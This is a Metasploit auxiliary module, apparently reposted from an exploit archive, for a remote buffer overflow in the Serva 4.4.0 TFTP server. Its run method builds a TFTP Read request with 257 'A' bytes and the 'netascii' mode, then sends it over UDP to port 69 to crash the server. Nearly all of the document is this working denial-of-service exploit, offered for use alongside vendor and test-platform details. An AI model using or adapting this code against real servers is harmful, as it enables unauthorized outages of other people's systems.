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Serva 4.4.0 TFTP Remote Buffer Overflow Exploit
# Exploit Title: Serva 4.4.0 TFTP Server Remote Buffer Overflow (Metasploit) # Exploit Author: Yehia Elghaly # Vendor Homepage: https://www.vercot.com/ # Software Link : https://www.vercot.com/~serva/download/Serva_Community_v4.4.0-21081411.zip # Tested Version: 4.4.0 # Tested on: Windows XP SP3 - Windows 7 Professional x86 SP1 - Windows 10 x64 ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Dos Rank = ExcellentRanking def initialize(info = {}) super(update_info(info, 'Name' => 'Serva 4.4.0 TFTP Remote Buffer Overflow', 'Description' => %q{ The Serva TFTP server version 4.4.0 can be brought down by sending a special Read request. }, 'Author' => 'Yehia Elghaly', 'License' => MSF_LICENSE, 'DisclosureDate' => '2021-11-23')) register_options([Opt::RPORT(69)]) end def run connect_udp print_status("Sending Read request...") sploit = "\x00\x01" sploit += "A" * 257 sploit += "\x00" sploit += "netascii" sploit += "\x00" udp_sock.put(sploit) disconnect_udp end end # 0day.today [2024-04-23] #